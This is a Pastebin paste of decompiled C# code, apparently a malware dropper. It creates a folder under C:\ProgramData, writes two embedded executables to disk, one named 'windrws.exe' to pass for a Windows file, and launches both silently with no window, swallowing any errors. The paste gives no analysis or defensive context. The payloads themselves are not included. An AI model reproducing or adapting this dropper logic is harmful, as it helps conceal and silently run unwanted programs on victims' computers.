Advertisement
Guest User

ConsoleApplication1.Module1

a guest
Mar 24th, 2018
210
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 1.03 KB | None | 0 0
  1. public static void Main()
  2. {
  3.    bool flag = !Directory.Exists("C:\\ProgramData\\LZT");
  4.    if (flag)
  5.    {
  6.        Directory.CreateDirectory("C:\\ProgramData\\LZT");
  7.    }
  8.    MyProject.Computer.FileSystem.WriteAllBytes("C:\\ProgramData\\LZT\\abc.exe", Resources.abc, false);
  9.    MyProject.Computer.FileSystem.WriteAllBytes("C:\\ProgramData\\LZT\\windrws.exe", Resources.windrws, false);
  10.    Process process = new Process();
  11.    try
  12.    {
  13.        process.StartInfo.FileName = "C:\\ProgramData\\LZT\\abc.exe";
  14.        process.StartInfo.CreateNoWindow = true;
  15.        process.Start();
  16.    }
  17.    catch (Exception expr_83)
  18.    {
  19.        ProjectData.SetProjectError(expr_83);
  20.        ProjectData.ClearProjectError();
  21.    }
  22.    Process process2 = new Process();
  23.    try
  24.    {
  25.        process2.StartInfo.FileName = "C:\\ProgramData\\LZT\\windrws.exe";
  26.        process2.StartInfo.CreateNoWindow = true;
  27.        process2.Start();
  28.    }
  29.    catch (Exception expr_C1)
  30.    {
  31.        ProjectData.SetProjectError(expr_C1);
  32.        ProjectData.ClearProjectError();
  33.    }
  34. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement